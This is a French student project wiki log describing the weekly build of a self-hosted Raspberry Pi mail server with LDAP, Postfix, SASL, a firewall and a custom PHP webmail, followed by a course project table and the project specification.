A ce stade, le serveur DNS devrait être correctement configuré et le SSL fonctionnel.

==== LDAP ====
Pour notre annuaire LDAP, nous avons utilisé les schémas proposés dans le package courier-ldap. Ces fichiers particuliers permettent à ldap de structurer sa base de données. Après différents essais et discussion, nous avons retenu la structure suivante :

[[Fichier:Pfe1516_09-ldap_directory.PNG|600px|thumb|center|LDAP directory structure]]

Nous avons regroupé la totalité de nos entrées sous une entité commune mail, celle ci se divisant ensuite en deux groupes people et groups. Le dc people regroupe les informations des utilisateurs, que l'on détaillera plus tard. Le dc groups permettra quant à lui regroupera les différentes listes de diffusion. Il contient aussi le groupe particulier des administrateurs qui permettra de donner des droits privilégiés à certains utilisateurs.

Pour ce qui est des informations des utilisateurs, voici un exemple de fichier de configuration pour l'utilisateur Jean Valjean :
dn: cn=jvaljean,dc=people,dc=mail,dc=intimail,dc=pw
uid: jvaljean
mail: jvaljean@intimail.pw
sn: Valjean
givenName: Jean
displayName: Jean Valjean
mailbox: intimail.pw/jvaljean/
homeDirectory: /home/vmail/
objectClass: top
objectClass: inetOrgPerson
objectClass: CourierMailAccount
userPassword: {SSHA}gCbVPaSGUaqjrq0mTQY77sOH4Xcq59Fg

Ces différentes informations ne sont pas définitives : certains champs peuvent peut être être retirés (comme le champ homeDirectory qui pour l'instant est commun et identique à tout les utilisateurs).

==== Web ====

Nous avons cherché un template léger, simple, mais néanmoins fonctionnel et agréable pour notre interface web. L'idée est, plutôt que de prendre un webmail classique dont nous n'utiliserions que 25 à 50% des capacités, de réaliser un webmail qui répond à toutes les exigences du cahier des charges et implémentant uniquement le nécessaire.
Il s'est avéré après recherches que l'une des meilleures solutions était de partir sur une interface codée en PHP (ce dernier implémente une API dédiée à LDAP), agrémentée de Bootstrap pour le JS/CSS.
Notre choix s'est finalement porté sur le template Lumino, que l'on peut [http://medialoot.com/preview/frame/lumino.html essayer par ici].

Après divers test, il s'avère qu'une page de cette interface met en moyenne pour charger totalement :
* 2,10s sur une connexion mobile 3G moyenne (4MB/s)
* 1,90s sur une connexion 4G moyenne (15MB/s)
* 2,80s sur une connexion DSL moyenne (2MB/s)
* 1,90s sur une connexion Wifi (30MB/s)
* 1,70s sur une connexion THD (100MB/s)
Résultats qui semble apporter bon compris poids/qualité de l'interface.

Nous avons alors déployé cette interface, dans un dossier /var/www/webmail/, puis ajouté le VirtualHost correspondant à notre site dans la configuration apache
Config à venir, quelqu'un a éteint tutur06, notre raspberry est donc off :(

===Semaine 6 (26/10/2015)===
==== Firewall ====
Etant donné que nous avons subi plusieurs tentatives de connexion SSH frauduleuses sur notre serveur, nous avons décidé de mettre en place un semblant de sécurité sur ce dernier. Nous avons donc écrit un petit script iptables simples pour filtrer les entrées. Celui ci se contente de bloquer tout les paquets entrant et de laisser passer les paquets par les ports ou nous avions vraiment besoin (ici SSH, HTTP, HTTPS, DNS, NTP, SMTP, POP3 et IMAP).
Après discussion, nous avons resserré davantage nos règles. Désormais le SSH n'est autorisé que pour des adresses ip spécifiées dans un fichier de liste blanche.

Nous avons aussi repéré dans le fichier /var/loh/auth.log plusieurs tentatives de connexions. Dans un premier temps nous avions cru à un problème de configuration de notre structure. Après avoir vérifié dans le log /var/log/syslog nous nous sommes aperçu qu'il s'agissait de connexions depuis des ip extérieures qui nous sont inconnues. Etant donné le nombre d'essais nous pensons que c'était une tentative d'intrusion sur le serveur SMTP par bruteforce. Comme première approche de contre-mesure nous avons pris le parti de constituer une liste noire. En effet ici nous n'avons pas le choix de laisser le port 25 (SMTP) ouvert. Pour cela nous avons utilisé les commandes :
cat /vat/log/syslog | grep SASL\ LOGIN\ authentication\ failed # Pour lister les messages de connexion échouées
sed -ne 's/.*\[$[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}$\].*/\1/p' # Pour n'afficher que les ip
*file* | sort | uniq # Pour classer et éliminer les doublons

On peut ensuite vérifier que les ip listées sont bien inconnues. Nous avons ainsi constitué une liste noire de 23 adresses ip.

==== Postfix ====
Nous avons installé l'agent de transfert de mail Postfix (<code>apt-get install postfix postfix-ldap</code>) sur la raspberry et configuré celui ci en accord avec notre base de données LDAP. Après un test d'envoi via telnet :
telnet ex 25
Trying xxx.xxx.xxx.xxx...
Connected to intimail.pw.
Escape character is '^]'.
220 mail.intimail.pw
ehlo intimail.pw
250-mail.intimail.pw
250-PIPELINING
250-SIZE 10240000
250-VRFY
250-ETRN
250-ENHANCEDSTATUSCODES
250-8BITMIME
250 DSN
MAIL FROM:toto(arobase)titi.com
250 2.1.0 Ok
RCPT TO:jvaljean(arobase)intimail.pw
250 2.1.5 Ok
DATA
354 End data with <CR><LF>.<CR><LF>
Subject: Premier Test
Here is my test
.
250 2.0.0 Ok: queued as 0EDFC21428
quit
221 2.0.0 Bye
Connection closed by foreign host.

Il est maintenant intéressant de tester notre DNS avec un outil en ligne. Nous avons ici utilisé l'excellent [http://www.dnsstuff.com dnsstuff] pour cela. C'est grâce à ce dernier que nous avons pu corriger les erreurs de notre serveur mail, à savoir :
*SMTP Greeting : Il permet de faire en sorte que le serveur mail est reconnu par les autres serveurs. Cela évite que certains serveurs ne refusent les mails provenant d'intimail.pw.
*Acceptance of abuse/postmaster : Les serveurs mails doivent avoir deux adresses abuse@... et postmaster@... . Nous avons donc créé ces deux boîtes mail pour répondre à ces conditions

==== Cyrus SASL ====

Nous avons implémenté l'authentification sur le serveur SMTP en SASL avec Cyrus. Après configuration, on peut maintenant envoyer des mail depuis notre serveur sur un serveur extérieur tel que gmail.

==== LDAP ====

Nous avons créé quelques utilisateurs LDAP pour peupler notre répertoire, contenant diverses informations utiles, afin de pouvoir commencer à implémenter une API d'authentification et réaliser divers essais sur l'interface web. Nous avons aussi ajouté un champ quota dans les informations des utilisateurs. A première vue ce champ pourra être utilisé avec le serveur IMAP et POP3. Cependant, afin d'éviter d'installer des services supplémentaires, nous choisissons de nous orienter dans une autre direction. Postfix nous permet à l'heure actuelle d'envoyer et recevoir des mails avec nos utilisateurs virtuels, et stocke chaque mail dans un fichier sur le système. L'interface web peut donc, sans Dovecot ou serveurs IMAP/POP3, parser par elle-même les mails reçus et préparer un envoi. Il nous faut, en prenant cette voie, réfléchir à l'implémentation des quotas, non gérés par PostFix. L'idée serait de lancer un script quand Postfix reçoit un mail, avant de le stocker sur le système, et de vérifier que la taille de ce mail + de ceux déjà reçu/envoyés par avant ne dépasse pas le quota attribué à un utilisateur, et rejeter le mail à l'expéditeur si on va dépasser alors le quota.

==== Web ====

Nous avons modifié le template de site web en accord avec nos objectifs. L'utilisateur doit d'abord se connecter avec ses identifiants LDAP (uid et mot de passe correspondant à son unique Distinguished Name (DN: cn=jvaljean,dc=people,dc=mail,dc=intimail,dc=pw). Une fois connecté, il tombe sur une interface que l'on pourrait appeler une "vue globale", réunissant les informations principales : le nombre de nouveaux mails, l'utilisation actuelle de son quota sur le disque, les quelques derniers mails reçus, et un calendrier afin de se repérer simplement niveau date.
Sur le côté, il est possible d'aller voir plus en détail l'inbox où se trouvent tous les mails reçus, ou encore aller voir les messages envoyés, et supprimer les courriels dans la poubelle. Si l'utilisateur est administrateur, il a aussi accès à un onglet "Manage" d'où il pourra prendre fonction de ses pleins pouvoirs. Cette dernière fonctionnalité n'étant pas encore implémentée, tout utilisateur voit pour l'instant cet onglet.

Toute la journée du mardi le code web a été réaménagé et modulé. Nous réfléchissons désormais au stockage et à la récupération de l'état instantané du quota mail (stocker cette valeur dans un fichier, ou en fait un attribut supplémentaire d'un utilisateur LDAP, où est d'ailleurs déjà stocké son quota max). L'idée est de ne pas trop solliciter le système et d'incrémenter ou décrémenter une variable à chaque réception/envoi de mail plutôt que recalculer entièrement la taille du dossier où sont les mails. On pourra en outre envisager de mettre en place une tâche périodique (via CRON) qui vérifiera en heures creuses que la taille du dossier mail est bien égale au quota en variable dans le système.

Par la suite il a été convenu de supprimer Apache et de le remplacer par le serveur web Lighttpd, plus léger et plus performant. Pour la configuration, on rajoute simplement un hôte au fichier /etc/lighttpd/lighttpd.conf auquel on fournit notamment le chemin d'accès aux fichiers du site, ou encore les clés pour SSL. Nous avons alors réinstallé PHP et nous l'avons reconfiguré et activé pour Lighttpd. Enfin, l'activation du mod_rewrite et la mise en place de règles différentes de celles d'Apache (qui font la même chose mais à la sauce Lighttpd) nous permettent de conclure cette migration en environ 25-30min (!).
Le mod_rewrite, un peu gadget nous l'avouons, permet chez nous de résoudre une URL de type www.domaine.com/page.php en écrivant simplement www.domaine.com/page. On atteint donc la page de connexion de notre webmail par [https://www.intimail.pw/login https://www.intimail.pw/login].
Nous avons en outre pu préciser la suite de notre projet. L'idée est d'avoir 2 ports sur lequel Postfix écoute (disons *:25 et localhost:10025). A réception d'un email sur *:25, postfix est configuré pour lancer un script que nous réalisons. Ce script vérifie le quota de l'utilisateur, si le mail reçu ne le dépasse pas il transfère alors le mail à localhost:10025 qui l'accepte et écrit le mail sur le disque de manière normale. Sinon, il renvoie un code d'erreur et le mail n'est pas accepté. De plus, le script mettra à jour un index dans un fichier propre à chaque utilisateur que le webmail lira. En somme, l'utilisation de fichiers quota et index évite à l'interface web de vérifier entièrement les dossiers et sous-dossiers mail à chaque actualisation de la page, ce qui créerait une charge énorme pour la Pi. On s'abstient en plus d'installer Dotecove/Un serveur IMAP/Un serveur POP grâce à notre webmail et nos scripts qui gèrent tout et uniquement ce dont nous avons besoin.
Notre architecture s'oriente donc sur les schémas suivants :

[[Fichier:Pfe1516_09-classicmail.PNG|600px|thumb|center|A classical mail server infrastructure]]
[[Fichier:Pfe1516_09-ourmail.PNG|600px|thumb|center|Our light mail server infrastructure]]

==== Scripting ====

Nous avons écrit un script perl pour envoyer des mails de manière automatique. Précisons que nous avons dû installer <code>libswitch-perl</code> pour pouvoir l'utiliser. Ce package devra être ajouté dans les dépendances lors de la constitution du fichier d'installation de notre outil.

===Semaine 7 (02/11/2015) - Architecture du système de fichiers ===

[[Fichier:Pfe1516_09-archi.PNG|600px|thumb|center|File system architecture]]

Notre système s'articule autour de 2 chemins distincts. A droite en rouge, l'architecture classique par défaut de postfix. Les mails reçus sont enregistrés par défaut dans un dossier par utilisateur et par domaine, dans le dossier new. A gauche notre architecture greffée, dans un sous dossier différent, par utilisateur et par domaine. Dans ces sous-dossiers, on distingue alors 2 dossiers et 1 fichier.
* Le fichier contient la valeur actuelle du quota de l'utilisateur. On préfère cette méthode plutôt que de faire calculer l'espace disque disponible dans un dossier par le système à chaque fois. On fera tourner un script, de nuit, périodiquement, pour vérifier que le quota correspond bel et bien à la valeur dans le fichier, pour éviter d'incrémenter/décrémenter une erreur.
* Un dossier mail, dans lequel sont stockés les mails envoyés
* Un dossier json, dans lequel sont stockés les conteneurs json, qui contiennent les en-têtes des mails envoyés, reçus, spams et poubelles. On accède donc à toutes les infos utiles au webmail en lisant ces json, plutôt que de lire à chaque fois tous les mails, ce qui serait extrêmement lourd et lent.

===Semaine 8 (09/11/2015) - Postfix et filtrage===
Nous avons établi une première version de notre script de traitement des mails arrivant sur le serveur. Nous nous sommes inspirés pour cela de la configuration proposée dans le [http://www.postfix.org/FILTER_README.html manuel] de Postfix. La configuration se fait via le fichier <code>master.cf</code>. Ce fichier permet de configurer tout les processus utilisés par Postfix pour fonctionner. Dans notre cas, il nous permet de déclarer un service de filtrage et d'indiquer au démon qui récupère les mails entrants (smtpd) de les transférer à ce service via un programme pipe. La configuration se fait de la manière suivante :

# ==========================================================================
# service type private unpriv chroot wakeup maxproc command + args
# (yes) (yes) (yes) (never) (100)
# ==========================================================================
smtp inet n - - - - smtpd
-o content_filter=filter
filter unix - n n - 5 pipe
flags=Rq user=vmail null_sender=
argv=/path/to/script $queue_id $size $sender $recipient

Nous avons décidé de suivre la même structure que dans le manuel de Postfix. C'est à dire que postfix fait appel à un script de filtrage principal, qui va lui même faire appel à d'autres scripts répondant à des besoins plus spécifiques. Pour l'instant, le script va parser certaines informations des mails entrant dans des fichier .json, qui servent de base de données. En voici un exemple :
[
{
"from": "michel.drucker@gmail.com",
"subject": "Vivement dimanche",
"timestamp": "2015-11-8 19:59:53",
"unixtimestamp": "1447012793",
"queueid": "48FE03FA87",
"filepath": "???",
"size": "1676",
"status": "0",
"pj": "0",
"id": "0",
"to": "jbond@intimail.pw"
}
]
Il serait également intéressant d'ajouter un champ permettant d'indiquer le chemin du fichier contenant le mail. Cependant au moment de l'exécution, même si nous avons accès au contenu du fichier, il est à priori impossible de connaître le nom définitif du fichier (il y a une part d'aléatoire). Ils serviront à l'affichage des mails dans les boîtes de réception dans le webmail. On pourra par la suite ajouter d'autres scripts permettant par exemple de vérifier la nature du message ou encore son contenu (Antivirus / Antispam / Pièces jointes).

Il est intéressant également de pointer ici que le fichier de configuration permet de préciser l'utilisateur qui va exécuter le script de filtrage. Ici nous avons mis <code>user=vmail</code>. Le script de filtrage s'exécutera donc en tant que vmail. Or pour l'interface, il faut qu'apache puisse accéder aux fichiers écrits par des processus de vmail. Pour les fichiers .json, écrits par le script de filtrage décrit plus haut, la solution du relativement simple. Il a suffit d'ajouter quelques commandes chmod pour autoriser la lecture et éventuellement l'écriture au groupe. Nous avons ensuite ajouté www-data au groupe vmail.

Quant aux fichiers contenant les mails, ceux ci sont écrits par postfix, et nous n'avons pour l'instant pas trouvé le moyen d'autoriser l'accès à ces fichiers par www-data. Ce problème, ainsi que la difficulté à récupérer le nom du fichier (décrit plus haut), nous pousse à nous demander si le délivrement des mails ne devrait pas être géré par un programme de notre confection, plutôt que le programme sendmail de postfix. En théorie, cette méthode répond parfaitement aux deux problèmes mais sendmail propose certainement une gestion plus aboutie que nous ne saurons reproduire dans un temps limité.

===Semaine 9 (16/11/2015)===
===Semaine 10 (23/11/2015)===
===Semaine 11 (30/11/2015)===

Nous avons travaillé sur le parser de mails et tentons d'implémenter notre architecture de fichiers.

D'autre part, nous avons travaillé l'interface web. Le contenu des tables affichant les en-tête des mails étant généré dynamiquement en fonction du fichier .json, il est impossible d'ajouter des balises <a href> pour rendre ces en-têtes cliquables pour afficher le contenu d'un mail.

La solution retenue et implémentée est d'utiliser un événement JavaScript. Pour une table avec un ''id'' table, on récupère l'en-tête cliquée à l'aide de la fonction JavaScript suivante :
$('#table').on('click-row.bs.table', function (e, row, $element) {
console.log(row, $element);
alert("L'utilisateur d'intimail a cliqué sur "+row);
});

On peut donc récupérer l'en-tête du fichier, plus spécifiquement le champ contenant le chemin vers le fichier mail brut. On pourra alors envoyer ce chemin dans une variable à l'aide d'une requête POST lancée dans la fonction ci-dessus avec AJAX, et être emmené vers une page qui traitera et affichera à l'utilisateur ce fichier mail brut.

===Semaine 12 (07/12/2015)===
==== Parseur pour les mails entrants ====
Comme nous l'avons dit à la semaine , nous avions rencontré un problème lors de la réception des mails. Pour resituer le problème : lors de la réception d'un mail, nous avons créé un hook pour postfix, qui s'exécute lors de la réception d'un email. La difficulté étant qu'au moment de cette exécution, les fichiers contenant les mails ne sont pas écrits dans le système de fichier, rendant impossible la récupération des noms de fichier. De plus, ces fichiers comportent les permissions 600 pour l'utilisateur et le groupe vmail:vmail.

La solution que nous proposons est de détacher le processus de parsing au moment de l'appel du script. De cette manière, le mail peut être délivré correctement et passe quand même dans le script de parsing, nous permettant ainsi de récupérer les mails et les informations critiques. On peut même en profiter pour appliquer les droits dont nous avons besoin. A priori, il suffirait juste d'autoriser le groupe vmail en lecture et d'ajouter www-data à ce groupe pour pouvoir afficher le contenu des mails dans l'interface Web. Résumons schématiquement le processus :
Un mail arrive
Le hook de postfix est exécuté
Le mail est envoyé via Sendmail --------------------------------------------------------------> Le mail est en attente de délivrement
Le script de parsing est lancé |
Le script vérifie dans les dossiers la présence du nouveau mail |
et réessaye un certain nombre de fois tant que tout les destinataires ne sont pas traités |
| v
| Le mail est délivré et existe dans le système de fichier
v |
Le script a trouvé le fichier et le traite <----------------------------------------------------
Fin

Nous avons aussi un peu réduit le contenu des éléments json en retirant le champ filepath. Les fichiers mails sont déplacés dans un dossier et renommés suivant le modèle <code>$unixtimestamp.$queueid</code>. Si nous rencontrons des collisions de noms (ce qui devrait théoriquement ne pas arriver) nous garderons les noms de fichier standard de postfix et restaurerons le champ <code>filepath</code>.

====Interface Web====
L'interface web progresse, et la page d'accueil est désormais totalement terminée et dynamique. Comme on peut le voir sur l'image ci-dessous, la nombre de mails dans la boite de réception, dans la poubelle, et le quota sont retrouvés et calculés dynamiquement, et ce en chargeant simplement les fichiers .json d'en-tête que nous avons crée, ce qui évite au système des calculs lourds. En outre le bouton "Write an email", présent dans la barre de navigation en haut mais aussi en gros sur la page d'accueil permet d'ouvrir une fenêtre pour écrire un email. L'envoi fonctionne parfaitement sur le réseau interne de l'école (nous devons encore passer la Raspberry sur un modem en dehors de Polytech pour éviter les foudres du CRI.), et ne devrait poser aucun problème une fois cette histoire de filtrage bypassée. Nous savons aussi envoyer des pièces-jointes, pour l'instant en dur pour la Proof of Concept, nous implémenterons bientot la possiblité à un utilisateur de téléverser son propre fichier (à taille raisonnable). Nous réflechissons au stockage de la PJ : serveur distant ?

[[Fichier:Pfe1516_09-homepage.PNG|1000px|thumb|center|Webmail Home Page]]

===Semaine 13 (14/12/2015)===
===Semaine 14 (04/01/2016)===
===Semaine 15 (11/01/2016)===
===Semaine 16 (18/01/2016)===
===Semaine 17 (25/01/2016)===
===Semaine 18 (01/02/2016)===
===Semaine 19 (08/02/2016)===
===Semaine 20 (15/02/2016)===
===Semaine 21 (22/02/2016)===

== Fichiers Rendus ==
Interface web : [https://intimail.pw intiMail.pw]
Rapport de Mi-Projet : http://projets-imasc.plil.net/mediawiki/index.php?title=Fichier:P9_LIBAERT_TENEUR_DEC15.pdf ICI]
Rapport de Projet : [http:// Soon™]

Fichier:P9 LIBAERT TENEUR DEC15.pdf

2015-12-15T07:26:57Z

Tteneur : Rapport intermédiaire de PFE, Décembre 2015

Rapport intermédiaire de PFE, Décembre 2015

Projets IMA5 2015/2016

2015-12-15T07:26:16Z

Tteneur : /* Répartition des binômes */

Merci de référencer vos pages de projets ici. Merci aussi d'uniformiser vos formats que ce soit en regardant la présentation des projets déjà créés ou en allant modifier le format des précédents si votre façon de faire vous semble la meilleure. Dans tous les cas un minimum de communication entre les binômes est conseillée.

Toutes les sources doivent être déposées sur notre archive GIT. Le service est disponible à l'URL [https://archives.plil.fr archives.plil.fr]. Connectez-vous avec vos identifiants Polytech'Lille. Sauf indication contraire de vos encadrants, rendez le projet public et mettez le lien sur votre Wiki. Vous pouvez trouver de la documentation sur ce système d'archives sur ce [https://git-scm.com/book/fr/v1 site].

== Répartition des binômes ==

<table border="1">
<tr>
<th>Projet</th>
<th>Elèves</th>
<th>Encadrant Ecole</th>
<th>Rapport décembre</th>
<th>Rapports finaux</th>
<th>Vidéo</th>
</tr>
<tr>
<td>[[P1 Convertisseur DC/DC pour réseau MTDC]]</td>
<td> Mehmet Ilter </td>
<td> Philippe DELARUE </td>
<td> </td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>[[P2 Data Logger]]</td>
<td> Hidéo VINOT</td>
<td> Alexandre Boé / Thomas Vantroys </td>
<td> </td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>[[P4 Jukebox multi-pièces]]</td>
<td> Alexandre Jouy / Julien hérin </td>
<td> Rodolphe Astori / Xavier Redon / Alexandre Boé / Thomas Vantroys </td>
<td> [[Fichier:Pre_soutenance_PFE_Jouy_herin.pdf]] </td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>[[P9 Système d'hébergement domestique]]</td>
<td> Romain Libaert / Timothée Teneur </td>
<td> Xavier Redon / Alexandre Boé / Thomas Vantroys </td>
<td> [[Fichier:P9_LIBAERT_TENEUR_DEC15.pdf]]</td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>[[P10 LILLIAD: Connected Learning Center | P10 LILLIAD: learning center connecté]]</td>
<td> Mageshwaran Sekar </td>
<td> Alexandre Boé / Thomas Vantroys </td>
<td> [[Fichier:P10_FYP_December_Report_M_SEKAR.pdf]]</td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>[[P11 Spectateur augmenté]]</td>
<td> Teresa Tumbragel </td>
<td> Alexandre Boé / Thomas Vantroys </td>
<td> </td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>[[P12 Capteurs enfouis pour vieillissement du béton]]</td>
<td> JULITA Alex </td>
<td> Alexandre Boé / Thomas Vantroys </td>
<td> </td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>[[P14 Localisation dans le corps humain]]</td>
<td> Matthieu Marcadet </td>
<td> Alexandre Boé / Thomas Vantroys </td>
<td> </td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>[[P18 Meuble intelligent]]</td>
<td> Kevin Colautti / Benjamin Lefort </td>
<td> Rémy Bernard / Alexandre Boé / Xavier Redon / Thomas Vantroys </td>
<td> [[Fichier:P18_pre_soutenance.pdf]]</td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>[[Automatic Soldering System Project|P20 Placeur de composants sur PCB]]</td>
<td> Jean Wasilewski & Pierre Letousey </td>
<td> Xavier Redon / Thomas Vantroys / Alexandre Boé </td>
<td> [[Fichier:P20_ASSP.pdf]]</td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>[[P24 Nuage pour sites Web]]</td>
<td> Jeremie Denechaud / Thibaut Scholaert </td>
<td> Xavier Redon / Thomas Vantroys </td>
<td> [[Fichier:P24_Denechaud_Scholaert.pdf| Rapport intermédiaire de projet]]</td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>[[P25 Architecture ROS pour des véhicules autonomes intelligents]]</td>
<td> Jean-Michel Tournier / Cyril Smagghe </td>
<td> Vincent Coelen et Rochdi Merzouki </td>
<td> </td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>[[P26 Robot de forgeage et d’usinage]]</td>
<td> Bertrand Yvernault / Louis Thebault </td>
<td> Rochdi Merzouki </td>
<td> </td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>[[P27 Robot de fraiseuse]]</td>
<td> Flavien Royer / Maxime Morisse </td>
<td> Rochdi Merzouki </td>
<td> [[Fichier:Rapport_P27_ProjetLequien.pdf‎ ]]</td>
<td> </td>
<td> </td>
</tr>

<tr>
<td>[[P30 Thermostat connecté et intelligent]]</td>
<td> TISSOT Elise / TIRABY Céline </td>
<td> Guillaume Renault / Alexandre Boé / Xavier Redon </td>
<td>[[Fichier:Rapport_PFE_TISSOT_TIRABY.pdf‎ ]] </td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>[[P32 Récupération d'énergie pour balise BLE]]</td>
<td> Quentin Sultana </td>
<td> Frédéric Giraud / Alexandre Boé / Thomas Vantroys </td>
<td> </td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>[[P33 Réalisations en faveur de l'accessibilité de jeux vidéos]]</td>
<td> Jérôme Bailet / Mehdi Zeggaï </td>
<td> GAPAS / Laurent Grisoni / Thomas Vantroys </td>
<td> [[Fichier:PFE_IMA5_Rapport_intermediaire_Bailet_Zeggai.pdf]]</td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>[[P35 Robot de test pour le sport de Golf]]</td>
<td> Deborah Saunders </td>
<td> Rochdi Merzouki </td>
<td> </td>
<td> </td>
<td> </td>
</tr>

<tr>
<td>[[P34 Optimisation de trajectoire pour un robot de curiethérapie]]</td>
<td> Sandra HAGE CHEHADE / Thomas DANEL </td>
<td> Vincent COELEN / Rochdi MERZOUKI </td>
<td> </td>
<td> </td>
<td> </td>
</tr>

<tr>
<td>[[P40 Maquette mécatronique durcie d'ascenseur 5 étages]]</td>
<td> Louis CHAUCHARD / Romain IMBERT </td>
<td> Blaise CONRARD </td>
<td> </td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>[[P13 Plateforme expérimentation IOT]]</td>
<td> ROCHE François </td>
<td> Alexandre Boé / Thomas Vantroys </td>
<td>[[Fichier:PFE_P13_Plateforme_expérimentation_IOT.pdf]] </td>
<td> </td>
<td> </td>
</tr>
</table>

P9 Système d'hébergement domestique

2015-12-12T15:13:24Z

Tteneur :

==Cahier des charges==
===Présentation générale du projet===
====Contexte====

Les gens font confiance à des organismes comme google pour gérer leurs courriels, voire pour les protéger. Il n'est pas évident que leur confiance soit bien placée. Ce projet doit permettre à tout utilisateur de créer quelques comptes de messagerie sur une système embarqué de type raspberry et permettre de conserver les données à la maison.

Le système doit être constitué à base de standards (base LDAP, serveur de messagerie connu et maintenu, client de messagerie idem). L'interface d'administration doit être elle aussi très simple d'utilisation.

Un effort particulier doit être porté sur l'alimentation du système embarqué. L'idéal serait un mode de veille lorsqu'aucun paquet TCP/IP n'est adressé à la machine. Il est aussi demandé de mettre au point une alimentation à base d'énergie renouvelable (e.g. panneau solaire) permettant d'alimenter totalement ou partiellement le système. Enfin pour permettre de se passer de la box grande consommatrice d'énergie, le système embarqué doit pouvoir en reprendre les fonctionnalités principale (connexion avec le DSLAM, redirection des ports UDP/TCP, ...).

====Objectif du projet====

L'objectif est de réaliser un système embarqué avec une alimentation autonome pour héberger une messagerie électronique domestique. Par domestique, il faut comprendre pour une dizaine de boites aux lettres. En outre, le système devra pouvoir être alimenté par un panneau solaire ou, le cas échéant, prendre relai sur le secteur lorsque l'alimentation fournie par le soleil n'est plus suffisante.

====Description du projet====
====Choix techniques : matériel et logiciel====
Matériel obtenu à ce jour :
* 1 Raspberry Pi 2 [obtenue le 07/10/2015]
* 1 Carte µSD 8 GB [obtenue le 07/10/2015]
* 1 Cable USB/µUSB [obtenu le 07/10/2015]
* 1 Câble RJ45 [obtenu le 07/10/2015]

==Suivi de l'avancement du Projet==
===Semaine 1 (21/09/2015)===

Notre but étant la réalisation d'une messagerie électronique domestique capable de gérer une dizaine de boites aux lettres, nous nous orientons dans un premier temps sur les points suivants que nous allons éclaircir afin d'en tirer un cahier des charges.

Nous allons étudier et approfondir les points suivants :

* Installer une base LDAP, ou avoir plutôt avoir plusieurs comptes UNIX
* Installer un serveur de messagerie SMTP, et IMAP/POP
* Investiguer du côté de POSTFIX
* Étudier la taille d'un mail vide, et en moyenne, et voir combien ça fait par rapport au système
* Enquêter sur la forme des fichiers utilisateurs (généraliser les données)

Ce qui doit pouvoir être fait :
* Distinction administrateur / utilisateur
* Un administrateur doit pouvoir gérer les comptes de messagerie (addition/suppression/etc)
* Gestion des quotas/espace disque réservé par ex
* Choix du quota (par qui ? options ?)
* SECURISER : apache, mod_security, étudier l'utilisation d'un pare-feu logiciel ?

Prévision du Matériel :
* Raspberry Pi 2
* Alimentation RPi
* Carte SD (8Go)

Le module énergétique sera équipé des éléments suivants :
* 1 MPPT
* Convertisseur Numérique Analogique : MAX5250
* Potentiomètre : MCP4261
* Relai : R561D.56 NTE
* Résistances : Deux de 100Ω et deux de 10kΩ
* une LED
* 40 pins broches mâle/mâle (Digikey Parts : A26509-40-ND), découpé par la suite en 8-8-6-4
* Circuit d'alimentation autonome : cellule photovoltaique
* Circuit d'alimentation autonome : batterie (avec port micro-USB et port USB)

===Semaine 2 (28/09/2015)===

Dans un premier temps l'idée est de développer le système principal avec les fonctionnalités. Autrement dit les différents packages et fonctionnalités installées sur la raspberry ainsi que l'interface utilisateur sur le site web. Dans cette partie nous listerons les différentes fonctionnalités que nous aimerions implémenter.

☐ Serveur SMTP (communications entre serveurs mails SMPT) et serveur IMAP/POP3 (postier)
*Postfix pour SMTP
*Dovecot, Courier ou Cyrus pour IMAP/POP3
*Implémentation de protocoles plus complexes et offrant notamment des fonctionnalités de chiffrement (SMTPS / ESMTP / SSL / HTTPS / Certificat)
*LMTP

☐ Gestion particulière des gros mails et notamment de leurs pièces jointes
*Bigfile pour un stockage en ligne
*Décodage base 64 des pièces jointes ? (difficulté++)

☐ Gestion des utilisateurs
*Plusieurs comptes, en utilisant LDAP
*La possibilité de s'identifier en tant qu'administrateur

☐ Listes de diffusion

☐ Comptes mail temporaires (10 minutes mail like)

☐ Antivirus & Spam
*ClamAV ou SpamAssassin ou autres : lourd.
*iptables dans un premier temps.
*Antispam maison, gestion du contenu, marquage de spam par l'utilisateur, "boites intelligentes" de spams.

☐ Les noms de domaines sont peut être nécessaires dès le départ pour tester le fonctionnement des fonctionnalités (telnet qui dit nope ?)
*Record A
*Record MX

☐ Sauvegarde automatique périodique de la Raspberry Pi (pendant le développement, pour éviter de perdre les données)

Il faudra aussi prêter attention aux fonctionnalités disponibles sur l'interface et ne pas laisser des fonctionnalités fantômes issues d'un template générique que l'on a pu trouver sur l'Internet.

===Semaine 3 (05/10/2015)===
Nous avons précisé les éléments constituants l'interface web :
* Gestion des comptes (création, modification, suppression d'utilisateurs...)
* Gestion des listes de diffusions
* Gestion des quotas
* Affichage du courrier
* Gestion de l'antivirus

===Semaine 4 (12/10/2015)===
Nous avons mis en place un github pour suivre le développement : [https://github.com/biboon/pfe GitHub].

Nous commençons à visualiser la structure de notre serveur mail. Dans un premier temps nous constituons notre base de données. Finalement nous utiliserons bien LDAP, qui semble relativement simple à utiliser contrairement à notre première impression.

Nous avons utilisé [https://wiki.gandi.net/fr/hosting/using-linux/tutorials/debian/mail-server-ldap un tutoriel de Gandi] pour mettre en place la base de notre annuaire. Nous utiliserons les schemas disponibles dans le paquet courier-ldap. Nous avons écrit un script en perl permettant d'installer ce schema facilement, nous évitant d'avoir à réinstaller le paquet complet pour récupérer un unique fichier.

Il est important maintenant de changer les règles d'accès à la base de données. En effet la base de données est disponible pour n'importe qui, on peut y entrer avec la commande :
ldapsearch -c -h localhost -b dc=domain,dc=tld -x
Nous avons ici aussi écrit un script permettant de le faire automatiquement. A ce stade il est nécessaire de s'identifier en tant qu'administrateur pour voir l'arbre :
ldapsearch -c -h localhost -b dc=domain,dc=tld -D "cn=admin, dc=domain,dc=tld" -W

